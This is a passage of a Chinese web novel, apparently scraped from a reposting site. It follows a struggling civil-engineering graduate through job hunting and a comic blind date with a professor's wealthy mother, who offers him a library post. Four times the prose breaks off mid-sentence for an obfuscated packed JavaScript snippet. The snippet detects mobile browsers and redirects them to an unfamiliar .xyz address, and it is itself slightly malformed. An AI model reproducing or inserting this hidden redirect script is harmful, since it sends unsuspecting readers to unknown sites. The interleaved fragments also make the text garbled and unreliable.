这话一出,李宝琴还没说什么,李宝娟脸色立马就变了:“胡说什么呢?” 黄晓媛撇撇嘴:“没什么,就觉得这牛比吹得也太过了吧。P大教授轮得着找他啊?” 李宝娟说:“没你的事情,你赶紧好好吃饭,吃完回去锻炼去。” “饱了,不吃了!” 啪!黄晓媛把筷子一摔,任性地起身走人。 黄光远对饭桌上发生的一切浑然不觉,继续埋头啃他的鸡腿。李宝娟看着女儿远去的背影,没多说什么,很快收回眼神,自顾自对岑康宁道: “你小姨这回是真了解过,对方条件很不错。” “嗯。” 岑康宁低头垂着眼,目光落在碗里为数不多的米饭上。 “所以有机会就去吧,去看看,总比你老是窝家里强。” 岑康宁闻言呼吸一滞,几乎是用尽全身的力气才让自己没有问出,我什么时候老是窝在家里这个问题? 他以为他会问的。 可时间一点一滴过去,他只是听到自己用很陌生的声音说:“什么时候见面?” 李宝娟的声音轻快了几分:“下周,看微信,小姨都发你了。” “哦。” 岑康宁听到自己又道。 伴随着这声应答,饭桌上终于转移了话题。岑康宁最后离开的时候,李宝娟和李宝琴正议论着关于菜市场猪肉涨价的事情。 岑康宁没插嘴,他三两下吃完了碗里的米饭,把碗筷都拿到厨房里清洗摆放好以后回到小房间,这才拿出手机,点开李宝琴被屏蔽的对话框。 果然,聊天记录里已经累积了不少消息。 从一开始的男方条件,再到后来的见面时间。 岑康宁从来没回过,但这件事好像也用不着他做什么回应。时间地点都约好了,只能去。 岑康宁叹了口气。 但很快他被李宝琴发来的一张图片吸引了注意力。 这张图显然不是李宝琴做的,李宝琴只有小学文化水平,平常靠做钟点工维持生计,连P大皮大都分不清。 然而这张图里对方竟然能精准写出毕业院校来自斯坦福大学。 岑康宁顿感荒谬。 难道琴姨没说谎,对方的确是这个条件? 但岑康宁又点开仔细看了眼,觉得大概率是对方瞎扯淡。 理由很简单。 来看看这位大兄弟呼之欲出的优秀条件吧—— 首先,身高。 原来还不止一米八,他竟然敢说自己187.45。 虽说这年头相亲市场上是个男人超过一米六就敢报自己一米八了,但有一说一,连岑康宁这个货真价实的178都不敢说自己穿鞋180,这位大兄弟竟然敢说自己187.45。 见了面要是比自己还矮那就搞笑了。 岑康宁想。 不过从187.45这个精确到小数点后一位的数字看来,这位兄弟不仅相当的有自信,而且十分勇气可嘉。 估计就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824578|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是比自己矮。 他也敢睁眼继续说瞎话。 这份自信与勇气当然也体现在他接下来报出的学历和职业上。 岑康宁一开始猜测,既然身高都187.45了,学历怎么不也得来个最高学府P大吧? 可岑康宁万万没想到,自己还是低估了。 P大确实有。 却是在此人的工作单位上。 毕业院校:斯坦福大学。 职业:P大教授(正)。 “嗯……” 岑康宁看着眼前的文字,陷入长久的沉默。 说实话,在看到斯坦福的时候,岑康宁觉得对方可能还蛮有文化的。毕竟能正确编出斯坦福这三个字,已经秒杀一众相亲市场上的剑牛大学,哈省大学。 但转眼又瞥见斯坦福底下的P大正教授。 岑康宁默默收回了自己的意见。 “大哥你到底知不知道现在进P大有多难啊?还正教授。” 哪怕他说个Q大的,岑康宁说不定都能信个百分之十呢。毕竟Q大也有诸如刘同虎这类教授,严重拉低了Q大教授含金量。 可竟然敢写P大。 岑康宁没忍住被逗乐了,一下午阴霾的心情终于有些许放晴。 真厉害啊这位兄弟。 如果自己要是有他一半的敢吹敢写就行了。 不,哪怕有三分之一呢。岑康宁恐怕就不会在某大厂海投简历阶段就因为土木工程这四个字被直接筛走。 不过话又说回来。 看着眼前这份相亲对象条件,倒的确让岑康宁对如何优化自己的简历有了灵感。 正所谓人有多大胆,地有多大产。 “从事过家教工作。” 删掉删掉,他从事的工作分明叫做梦想领航员。引领着一个个身处迷途中的无知少年少女,走向光明。 “有一个月的工地实习经历。” 什么工地! 人家那可是实打实的世界五百强建筑企业。 且在实习过程中,岑康宁可是担当了十分重要的“物流运输”(搬水泥)“产品质检”(筛水泥)等核心工作。 “拥有大学英语六级证书。” 不够竞争力。 改成“精通中日韩英四语”吧。 会说“西八”和“八嘎”也是精通。 怎么能不算呢? 岑康宁手指飞快地在招聘APP里更改着已经改过约莫十多遍的简历,而就在他点击确认修改的一瞬间,叮咚,竟然真有HR在系统里给他打招呼了—— “效果这么好?” 岑康宁顿时大喜过望,打开聊天框。 HR:“你好,同学,我们这边有一个岗位很适合你,可以聊聊吗?” 岑康宁:“111111,请问是什么岗?” HR:“销售总监。” 岑康宁眨了眨眼,老实讲,见到销售两个字后一时有些退缩。 销售啊。 他不是很想干销售,不过是总监的话,也许可以试试。 毕竟土木已埋是业界共识。 销售说不定可以让他焕发生命第二春。 说不定他就是那个一直被大学专业埋没的销售天才呢? 可惜HR接下来发来的总监待遇有如数九寒天里的一盆冷水,将销售天才当场浇醒。 “底薪两千五,有两险,提成多多,公司提供下午茶小甜品哦~” 岑康宁:“……” 他连不必了三个字都懒得打,直接关掉了APP。 果然招聘软件和相亲男是一样的不靠谱。 都不值得相信。 5. 第 5 章 次周周末是个晴天。 四月初的温度已经有所回升,岑康宁从共享单车上下来的时候,额头上冒出了一层薄汗。 但他没有急着擦汗,而是先打开手机看消息。 果然一会儿没看,春招群里已经999+刷屏。 不过这会刷屏的倒不是什么哪个公司又招人的消息,而是一个群友艾特所有人的公告: “@所有人我宣布,以后都不许用丑团外卖了!” 一石激起千层浪。 周末中午的Q大春招群热闹非凡,消息甫一发出,很快有人争相回应。 “哈哈哈,怎么,被丑团挂了?” “三面才挂我,我现在怨气比鬼还重,决定以后都用饱了么了,谁也别来劝我。” “不劝,丑团连笔试都没给我过,我早就不用了。” “同道中人啊兄弟,那要不以后打车你也别用某滴了呗?” “现在谁还用某滴啊,谁不知道某滴歧视我Q简历全挂啊,有本事让他以后都去他P招呗,看他P那些精英怎么用鼻孔看它。” “就是,我认识的P大没一个愿意去某滴的。” 群里被某滴挂过的人显然不少,说起这事儿来各个义愤填膺。岑康宁也混在群里吃瓜水群,互相交流招聘信息的同时,不忘幽默一句: “哥几个抵制归抵制,可千万别去投并夕夕了哈,这可是我最后的快乐老家。” 语毕群聊竟安静了刹那。 在这个半小时就能99+的群里相当罕见。 岑康宁还以为自己发错群了呢,直到又过了一会儿,群友们的回复意味深长刷新: “并夕夕啊,如果是它那挂就挂吧,这次我当没看见,下次不许了哈。” 紧接着一连串的加一加10086冒了出来。 “哈哈。” 岑康宁看着手机,脸上终于久违地泛起笑意。 自打开始找工作,岑康宁已经不记得自己有多久没笑过。 其实也不是完全没笑,偶尔看到对方开出来的待遇时,他还是会笑的,被气笑。 请相信他。 这很严肃,完全不是一个段子。 找工作前,岑康宁是有想过就业形势不好,也有考虑过土木如今式微。 但在没有真正踏入春招前,岑康宁其实心中一直还存有着一些很不切实际的妄想。 比如说,虽然土木现在不行了,但Q大土木可是王牌专业;又比如说,作为专业排名名列前茅的自己,怎么不也得找到一个差不多的工作。 这份工作它可以辛苦一点。 待遇也可以稍微低一点。 甚至,岑康宁已经完全接受了转行这件事,去干销售或者运营也行叭,只要给钱。 但这一周来一次次的春招碰壁让岑康宁不得不认清现实: 不仅仅是土木。 今年的毕业生,是真惨呐! 且不说那些业内有名的公司如今都在裁员缩招,就算是招人,岑康宁去了,对方也很愿意要,但谈下来的条件却相当之侮辱人。 没周末,加班多就算了。 竟然食宿都不包还要下工地。 难道指望着岑康宁用不到三千的基础工资自己租房做饭,借钱上班吗? 岑康宁果断拉黑了这家据说已经是业内良心的某建X局,并立刻投入了大厂春招的浪潮中,然后便意识到一个更加残酷而冰冷的事实—— 他开始找工作的时间实在是太晚了。 的确,他出身顶级985,有着优越的绩点和出色的校园履历,手上甚至还攥着寻常学生没有的两篇sci。 然而,早在去年秋季,甚至于更早的时间里,那些一门心思奔着找工作的92学生们就已经开始了自己的战斗。 内推实习。 被包装过的履历。 更丰富的面试经验。 种种因素使得岑康宁为保研而生的履历瞬间变得没那么有竞争力。 更何况,大部分的招聘名额在秋招时就已经被瓜分完毕,留在春天的,只有一些少得可怜的岗位。 就这样,岑康宁还得跟一大堆考研失败的抢,跟上一届没找到工作的抢,跟考公失败的抢,甚至要跟海归博士抢。 岑康宁永远忘不了自己参加一家银行面试后,结果小组里有人是海归博士的震撼。 那一瞬间他甚至想,还好没读研。 要是读了研就业形势更差,面试桌上岂不是更丢脸? 将小蓝车停好,咖啡馆门前,岑康宁脸上的笑意转瞬即逝。 不难看出,这一周的春招经历对他产生了极大的打击。 原本岑康宁心态还算乐观,就算保研被鸽,被家里催婚相亲,岑康宁觉得,他至少还有工作这条退路。 一旦找到了合适的工作。 他有了经济实力以后搬出家里,催婚也好相亲也罢,娟姨都鞭长莫及。 然而他到底是低估了如今的就业形势。 找工作太难,有时候难的他都想摆烂,结婚算了。 就算对方没有187.5,只有157.8;不是P大教授,只在P大某城市学院当讲师,至少二十万彩礼是真的吧? 那可是整整二十万。 同样一个岑康宁,某些公司可只愿意出三万一年,还是税前。 这样一想,似乎结婚也不是不能接受。 而且结婚了好像也能离? 岑康宁一边嘲笑着自己短短时间内人格可耻的堕落,一边推开咖啡馆大门信步走了进去。 直到走到约定好的咖啡馆二楼靠窗座位。 相亲对象庐山真面目终于暴露于他眼前。 岑康宁原地怔住,心中只冒出一个念头来: 二十万彩礼不够。 得加钱。 — 弥漫着咖啡豆香气的二楼空间里,隐约传来一股算不得刺鼻的高级香水气息。 是香奈儿五号? 还是YSL反转巴黎? 岑康宁分不清那些香水的名字,他毕竟非常贫穷,只隐约从同班女生的聊天中知道,越贵越高级的香水,越不刺鼻。 而眼前这位女士身上的香水味道,便是如此。 但不刺鼻不意味着它不浓烈。 事实上它非常浓烈。 浓烈到岑康宁在两三步以外就闻到了,然后他惊讶地抬起头来,看向这位阿姨。 是的,阿姨。 岑康宁这句话完全不带有任何侮辱,完全就是实话实说。 虽说对方的皮肤状态一看就是保养良好,脸上并不像娟姨一样布满雀斑和皱纹;虽然对方穿着昂贵的皮草大衣,脖间挂着约莫鸽子蛋那样大小的祖母绿色翡翠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824579|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这些外在的修饰丝毫掩盖不了眼前这位女士已经是阿姨的事实。 四十岁? 五十? 岑康宁默默在心中猜测了一番她的年纪,心想,这次回去他必须要说说琴姨了。 太过分了。 他可以接受相亲对象条件造假,187.5实际上有157.8都行。 可不能连性别年龄都造假吧? 如果这回还不发火,下回琴姨是不是该给自己介绍七八十老头了? 岑康宁眼里闪过一丝无奈,正想要不要直接开溜。 这时忽然。 那位富贵逼人的阿姨若有所感抬起头来,锐利的眼神直勾勾看向岑康宁:“岑康宁?” 岑康宁:“……我是。” 刘海俐说:“我是祁钊的母亲。” 岑康宁:“…………” 很难判断到底是今年五十岁的阿姨和他相亲更炸裂一些,还是连相亲都要让老母亲出面的二十九岁妈宝男更奇葩一点。 于是在这场相亲的前半部分。 岑康宁的脑海中这两个小人一直在天人交战。 一个说:“那肯定还是妈宝男更奇葩啊,听说他都29了,29岁还没断奶吗?” 另一个却说:“妈宝男怎么了?看看这位阿姨脖子上的鸽子蛋,你就说你有这样的亲妈你妈不妈宝吧!” 岑康宁觉得第二个小人说得很有道理。 很多时候人们厌恶妈宝,是因为自己没有妈宝的条件。 但这时第一个小人却嗤笑一声,说:“呵,既然如此,那你为什么不一步到位,和他妈直接在一起呢?” 岑康宁:“……” 靠—— 竟然也很有道理! 而就在岑康宁脑海中天人交战的时候,他却不知道,刘海俐在这段时间里,已经从里到外从头到脚打量了岑康宁一遍。 这一遍下来,饶是眼光挑剔如刘海俐,也不得不说一句。 这次的相亲对象,是所有符合条件的相亲对象里,外貌最出色的一位。 虽然岑康宁身上的卫衣和牛仔裤加起来恐怕还不到二百块钱。 但这丝毫没有损害他将这两件衣服穿出了两万块的架势。 眼前这个男孩儿拥有着许多人一辈子求而不得的优秀外表,雪白的皮肤,匀称的体型,漂亮到近乎虚假的五官。 刘海俐也是这时候才意识到,自家那个手脚不算老实的钟点工并没有说谎。 她的外甥,的确拥有一副很好的皮相。 不过对刘海俐来说,漂亮并不能算优点,反而算是缺点。 她给祁钊挑对象的第一个准则就是不能太漂亮,漂亮的男人和女人一样,大都不是什么好东西。 但眼前这个男孩儿却不太一样。 刘海俐不得不承认,虽然岑康宁有着漂亮到可以让人心生嫉妒的外表,可真的当他坐在你对面,对你微微一笑的时候,没人会对他心生讨厌。 岑康宁的气质太纯粹,也太干净。 就像清晨刚七八点钟冒出头的太阳,明亮,给人带来一种柔和的温暖。 再考虑他那得天独厚的八字,刘海俐确信他嫁过来以后应该立刻就能克死自己的前夫和那个狐狸精,便难免对岑康宁网开一面,并宽宏大量地认为,自己确实可以勉强同意他成为儿媳。 6. 第 6 章 岑康宁还不知道自己俨然已经成为了对方的儿媳妇首席候选,正神思乱飘的时候,被开启了单方面问话。 “你在读大学?” “是的,大四。” “什么学校?” “Q大。”想了想岑康宁又补充,“土木专业。” 刘海俐微不可见皱了皱眉,脖子上挂着的祖母绿翡翠在午后阳光下折射出刺眼的光芒:“学历差了点。” 岑康宁拿咖啡的手登时一顿,脸上的笑容却不变:“是啊,没能继续深造,深感遗憾。” “不是深造不深造的问题,是第一学历。” 刘海俐说:“Q大就是所211吧?” “985。”岑康宁强调,而后他抿了口咖啡,苦涩道:“其实都差不多,跟斯坦福不能比。” 刘海俐挑着眉尾:“这是自然,不过985也还凑合。你之后是什么打算?” “什么什么打算?” 岑康宁没听懂。 刘海俐手指轻敲两下桌面,不耐烦地解释:“读研,还是工作?” “工作吧。” 岑康宁道。 其实最早被鸽的时候岑康宁也有想过要不要咬咬牙考一年研的想法,但很快他开始春招,立刻把这个想法抛进了爪哇国里。 读什么研。 读完研更没有工作了。 只是岑康宁没想到,后来就连工作也成为一种奢望。 “工作啊……那简单。” 刘海俐果断道:“以后不用去了。” 岑康宁:“?” 说实话相亲进行到现在没有离席而去完全就是岑康宁脾气好有礼貌,要不是对方是长辈,岑康宁可能在坐下的第一时间就会说“对不起我们不合适”然后采取尿遁大法。 然而就算是长辈。 一张口就让自己辞掉工作,未免也过分了吧? 虽然岑康宁如今还并没有工作。 但岑康宁誓死捍卫自己工作的权利。 他微笑着,脸颊上的梨涡清浅,唇角弧度微不可见的上扬:“不好意思,阿姨,我想您可能误会了点儿什么。” “误会什么了?” “就是,其实我并没有嫁给您儿子的打算。” 岑康宁尽可能礼貌地道。 可果不出他所料,就算他语气已经足够委婉,对面的刘海俐还是感到被冒犯:“你说什么?” “我们不合适。” 岑康宁试图将这个问题含糊过去。 刘海俐却显然不是个容易糊弄的人,她立马追问:“哪里不合适?” 岑康宁:“方方面面都不合适,我第一学历太低,家庭条件不好,身高不够,没有工作……” “没关系。” 刘海俐打断了岑康宁的叙述:“我们不嫌弃你。” 岑康宁:“……” 说实话,岑康宁觉得眼前的情况实在有些棘手,他匮乏的相亲经验并没有让他有足够能力解决眼下的问题。 所以岑康宁干脆摊牌了:“而且,我不喜欢年纪比我大的。” 刘海俐:“……” 能言善辩如刘海俐,此刻也说不出话来反驳。毕竟年龄是客观存在的事实,无论她认为自己儿子有多么优秀出色,但的确,祁钊今年29岁,确实是比岑康宁大7岁。 可问题是,年龄有那么重要吗? 岑康宁用实际行动告诉刘海俐,年龄真的重要。 这位她心目中的准儿媳正彬彬有礼地叫来服务生,大有立刻买单走人的迹象。而此时电光火石间,刘海俐的心头想起过去一个月里她见过的其他儿媳候选。 第一学历比岑康宁好的没岑康宁漂亮。 比岑康宁脸差许多的没岑康宁八字硬。 和岑康宁八字一样硬符合大师要求的,刘海俐觉得那人既愚蠢又粗鲁,还谈过三次恋爱。 所以综上所述,岑康宁就是她的最佳人选。 可现在最佳人选决定走人。 危急时刻刘海俐脑海中灵光一闪,不愧是祁钊的母亲,她竟然想到了办法。 等等……岑康宁方才说他没工作。 大四毕业不读研。 没工作难道是不想找吗? “你是没找到工作吗?” 刘海俐问。 岑康宁:“……是的。” 刘海俐的脸上于是浮现出笑意,那笑并不深,却带着几分势在必得:“那太好了,正巧,P大为了引进我儿子给了一个配偶工作安置名额。” “啊?” 岑康宁怔了下。 很快他眨眨眼,语气已经与方才有所不同,仔细听也许可以听出堪称为卑微的情绪:“敢问安置方向是?” “图书馆。” 刘海俐涂着口红的嘴唇吐出三个清晰无比的字眼。 有如一针最大剂量的麻醉剂强自扎进岑康宁的脖颈,岑康宁当场沉默了。 — 说起图书馆这三个字。 岑康宁的感受和其他普通学生不太一样。 对于寻常的学生来说,图书馆就是个看书自习的地方,顶天在图书馆再借阅些资料,谈谈恋爱拉拉小手什么的。 岑康宁曾经也是这么认为的。 直到大三的下半学期。 偶然的一天,岑康宁替一位研究生学长去校图书馆值过半天的班。 当然不是无偿,学长用一百元买下了岑康宁的一个上午,岑康宁欣然同意。 “具体工作安排是什么,学长?” 岑康宁还记得自己问这位直系学长。 学长挥挥手,说:“很简单,就借书还书。我教教你就会了。” 岑康宁于是耐心的学习了一遍,果然很简单。 “行这事儿包在我身上了。” 岑康宁道。 学长温柔一笑,说:“你实在不会了就问老师,有值班老师在。” “啊?” 岑康宁很不解。 既然有老师在,为什么还需要他呢? 学长解释说:“一般都是学生兼职干活,老师只负责在旁边监督就好。” “哦,原来是这样。” 岑康宁点点头,说:“行我知道了,学长放心吧。” 学长拍拍他的肩膀,神采飞扬说:“以后你就知道了,图书馆兼职可是个肥差,等我毕业以后这个岗位就传给你。” 岑康宁一开始并不懂。 怎么就肥差了? 后来他果真去呆了一上午,然后便懂了。 学长所在的藏馆相对冷门,进进出出的学生都是来自习的,所以大部分时间,岑康宁只需要坐在凳子上发呆就好。 只有很偶尔的时候,有学生过来操作还书,岑康宁需要把还回来的书放回书架里。 当然,就连学生兼职都在发呆。 值班老师就更闲了。 甚至更过分的是,早上八点岑康宁就到了图书馆,值班老师姗姗来迟,一直到九点半才出现。 而在九点半到中午十一点的这段时间里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824580|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岑康宁百无聊赖中数了数,那位老师一共吃了两个包子,接了三回茶水,玩了十几把斗地主。 可把岑康宁在一旁羡慕坏了。 于是十二点下班以后。 岑康宁给学长发消息表示自己完工后开玩笑:“早知道当年就报图书馆专业了。” 结果学长收到消息以后回复:“想什么呢,这跟什么专业没关系。” 岑康宁愣了下,而后很快了然:“懂,懂。” 学长道:“反正不容易。” 岑康宁想,肯定不容易。 但凡是容易的工作想要得到都不容易。 可能何明博这种身份可以吧,反正岑康宁这种情况肯定是不行,岑康宁估计自己就连得到学生兼职这个岗都够呛。 但这并不妨碍很长时间里,大学图书馆老师都是岑康宁所梦寐以求的职业。 尤其是在经历过春招的毒打以后。 岑康宁愈发意识到这份工作的含金量。 轻松,悠闲,体面。 更重要的是,它稳定,有编制,不需要996,更不用担心三十五岁后被优化裁员。 据学长说,他所在的藏馆那位老师,很有可能二十年前就在Q大图书馆工作了。 岑康宁一听更是羡慕的飞起。 这得上辈子积了多少福气,这辈子才能得到这样一份工作? 然而只记得当时学长拍拍他的肩膀,意味深长地说了一句话:“学弟你记住,像这种工作吧,就跟艾滋病的传播方式一样,只通过母婴、血液和性传播。” 岑康宁将这句话铭记至今。 然后果断认为自己这辈子都将与这份工作无缘。 直到一年后的今天,相亲桌上,对面珠光宝气的相亲男母亲说出这番话来。 “嚯……”岑康宁深呼一口气,让自己冷静下来。 但当然了。 岑康宁没让自己表现地过于急切丢脸。 毕竟方才为止,他的态度一直都是抗拒这次相亲,还明目张胆地嫌弃对方老。怎么能区区一个图书馆管理员的工作就轻易折腰呢? 他可不是这么肤浅的人。 浅褐色的桃花眼里闪过一道奇特的光芒。 在暖阳下熠熠生辉。 只见岑康宁先是又喝了一口咖啡,而后才状若无事一般,不紧不慢地开口。 “图书馆?不会是图书馆保安吧?” 他说。 刘海俐仿佛遭受什么奇耻大辱:“怎么可能,你对我儿子到底有什么误解?” “那是管理员岗?” 刘海俐保养得体的脸抽动几下,嘲讽道:“放心,无论什么岗,都比你想去的地方体面。” “有编制吗?” “有。” “……” 当时的情况其实是有些尴尬的,周末的咖啡馆二楼除了两人这桌以外,还有不少客人,更有许多服务生在桌子之间走来走去。 甚至就在两人右手边,还坐着一位客人。 距离之近,完全可以清晰听到两人的全部对话。 但岑康宁在短暂思考后,还是果断用上了自己此生最大的勇气对刘海俐说: “是这样的阿姨,倒也不是喜欢编制,单纯就是我一直喜欢比我大点儿的老公。” 刘海俐:“……” 然后紧接着,不等刘海俐做出反应。 岑康宁飞快地一扭头,冲着隔壁那位英俊高冷的客人甜甜一笑: “老公,是不是?你说话呀,老公。” 7. 第 7 章 铛—— 陶瓷咖啡杯兀地与盘子相撞,发出清脆的声响。 盘子倒是没裂,但那一刹那。 岑康宁分明可以看到,隔壁那位被自己叫老公的冷漠男人脸上忽然出现了一道裂痕。 裂痕使得那张矜贵又英俊的脸多少多了一些活人气息。无边框眼镜下那双狭长又冷静的眼睛也僵住刹那。 这是相当罕见的。 因为从他落座,岑康宁就观察到,此人好像对周围的任何事任何人都没有兴趣。 从头到尾。 男人用冷漠的态度在自己与他人之间隔绝出一道厚实的墙。 无论岑康宁和自己的母亲说了什么,他都没有反应。 分明是他自己的相亲宴,可男人从头到尾目光都落在电脑屏幕上。 经特别处理过的屏幕拥有着良好的防窥功能。 哪怕岑康宁裸眼视力5.1,也看不清屏幕里的文字。 不过看不清也没关系,岑康宁猜,就算看清楚了,恐怕自己也看不懂。 隔行如隔山。 土木和生科更是隔着山山山海海海。 但无所谓,反正今天他又不是来面试对方的博士生的。图书馆管理员也不需要博士文凭。 ——那又为何岑康宁敢确定他就是自己的相亲对象呢? 这就要从半年前一桩连岑康宁也凑过热闹的学术界热搜说起。 — “后来呢?” “什么后来?” 烧烤摊上,岑康宁抿了一口啤酒,酥麻的感受顿时自舌尖弥漫,仿佛连脚趾都跟着一起颤抖。 对面正龇牙咧嘴撸烤肉串的稀疏发量男青年道:“当然是对方的反应了!” 岑康宁闻言一笑:“你觉得对方该有什么反应?” 郭振嚼着烤肉,认真想了想:“开心。” 岑康宁:“= =” “别这个表情啊,我说真的,你对自己的长相是不是有什么误解?” 郭振振振有词:“虽然我是一个钢铁直男,但我觉得就算是钢铁直男听到你叫老公,也只会开心的。” “我谢谢你啊振哥,不过很明显,对面不是钢铁直男。” 郭振震惊:“不是钢铁直男不是更应该开心吗?” 岑康宁摇摇头,回想起那天后来的场景无奈一笑。 他想起男人冷冰冰的语气,问他是不是对所有第一次见面的人都能叫的出老公;又想起对方没有感情波动的犀利眼神,似乎只一眼就能将他从头到尾看地透彻清晰。 还想起刘海俐震惊无比的眼神,仿佛在斥责他怎么可以如此轻浮随便。 虽然他只是想开个玩笑而已。 但无所谓。 都过去了。 “可能不喜欢我这一款吧。” 岑康宁说:“毕竟对方条件也是很优秀的。” 郭振有些不服气:“我兄弟哪里不好了,能看得上他是他的福气!”但一转头又想起刚刚聊起的话题,顿时蔫巴道:“唉,好可惜啊。” “噗——” 岑康宁没忍住笑出了声来:“振哥你怎么看上去比我还失落。” “那可是图书馆管理员,厚米!”郭振挠了挠自己堪忧的发际线,痛心疾首说:“你知不知道我做梦都想去这个岗。” “谁不是呢?” 岑康宁腹诽,要不然他也不会临时改变主意。 郭振碎碎念:“还是P大的,老天奶,他收不收小妾啊,不如把我收了算了吧。” “振哥你这话千万别被敏姐听到。” “没事儿,上回咱俩发消息的时候她就在我旁边。你知道她说什么吗?” “说什么?” “她说你要是不要的话,她现在就跟我离婚接盘去。” 岑康宁:“?” 这话当然只是开玩笑,郭振跟齐敏敏校园恋爱七年,去年终于修成正果结婚生娃。刚刚荣升为奶爸的郭博士与齐律师感情非常好,绝不是区区一个图书馆工作就能动摇得了的。 但这个玩笑确实也侧面表明了如今的大环境有多差。 就连郭振这个博士和齐敏敏这个律师都想改行,何况岑康宁呢? 是以岑康宁觉得自己当时的反应虽然有些夸张,但绝不过分,换成别人,恐怕也不能比自己表现地更好。 毕竟他想,那可是P大的图书馆管理员啊。 最高学府。 图书馆工作,五险一金双休带编制。 谁不馋? 反正岑康宁是馋了,他还馋地很明显。 结果没想到太馋了,反倒弄巧成拙。 郭振又撸了串烤肉道:“话又说回来了,谁啊?竟然能让P大纡尊降贵,我可是听说P大有很久都不给解决配偶工作了,除非院士杰青级别。” 岑康宁想了想道:“应该不是这俩。” “我猜也不是,你不是说他29么?跟我一样大,哪有人29这么牛,除非是我钊神。” 岑康宁:“……” 差点忘了,郭振可是祁钊死忠粉。 当初那则热搜也是郭振发在他朋友圈里,岑康宁才意外看到。自此知道了学术圈有祁钊这么个人回国了,还一回国就遭到各大高校哄抢。 不过,默默看了眼埋头吃肉的郭振,岑康宁决定,还是不要把此人就是他男神的事情说出来为妙。 否则被他知道这年头就连祁钊也开始封建迷信改信八字玄学。 这位博五的青年恐怕当场信仰崩塌,这辈子都没办法毕业。 “具体的我也不太清楚,反正这事儿都已经吹了。” 岑康宁含糊道。 郭振叹了口气,丝毫没有发现岑康宁话里的端倪,反而安慰他:“唉,那也没办法,这种机会是可遇不可求的。” 岑康宁闻言苦笑:“没事儿振哥,我都想开了,这事儿不是说我想就能成的。” “是的,而且你想想当天那个情况,那男的八成是个妈宝,你嫁过去少不了要受委屈。” “哈哈,谁说不是呢。” “所以向前看哥们,我师弟那边我已经帮你联系好了,他手上倒是没内推码了,不过下属有,等明天他问下属要了发你。” “谢谢振哥,这次太麻烦你了。” 提起正事儿来,岑康宁总算来了几分精神,他不由得坐直了身体端起酒杯来给郭振道谢。 郭振却挡住了这杯酒:“别,跟我客气什么。之前找兼职的时候你不也帮过我很多次吗?” “那怎么能一样……” “怎么不一样了。” 郭振坚持。 对方太过坚持,没办法,岑康宁只好放下了酒杯。但他心中的感激却半点儿没有放下,反而因此更加深厚。 说来也很奇妙。 他跟郭振年龄相差这么大,专业也不同,却意外成了朋友。 一开始在兼职群认识郭振的时候,岑康宁还记得自己都惊呆了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824581|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么会有博士还出来找兼职。 后来他才知道,郭振那年博四,老婆刚刚生了小baby。 一时半会儿实在没办法毕业,为了奶粉钱,才不得不加入了兼职群。 岑康宁心疼郭振刚出生的女儿,于是兼职经验丰富的他给郭振介绍过好几次工作,两人就此成了朋友。 但当时的岑康宁没想到,一年后风水轮流转。 他在招聘会上认识的大厂HR,竟然是郭振的师弟。 他只是试探性问郭振了一句内推码的事情,郭振就二话不说把这件事包揽了下来。 岑康宁顿时感激涕零,这才有了今天晚上校外的这次烧烤摊小聚。 “总而言之谢谢振哥。” 岑康宁将杯中剩余的啤酒一饮而尽。 郭振憨厚笑笑,因常年醉心科研缺乏运动双下巴都笑了出来:“没事儿,我就是举手之劳,不过你可想好啊,我师弟他们公司加班可不是一般的严重。” “现在去哪家不加班。” 岑康宁无奈:“大小周现在都成优点了。” 郭振自然又长吁短叹了一番,跟岑康宁一齐痛骂如今变态的工作形式。 当然,骂到最后难免又骂起了自己的导师。 “老东西还不让我毕业,快疯了,我严重怀疑就算是钊神落在他手里也毕不了业!” 正打算跟他一起骂两句结果又听到前相亲对象名号的岑康宁顿时身体一僵。 半晌他回过神来,眨巴两下桃花眼,试探道:“嗯……礼貌确认一下,振哥说的钊神,是之前那个上热搜的祁钊吗?” 结果郭振很诡异地抬起头,看他一眼:“是他啊,不是他还能有谁配得上神这个称呼?” 岑康宁:“哦。” “怎么,你对他也感兴趣了?” 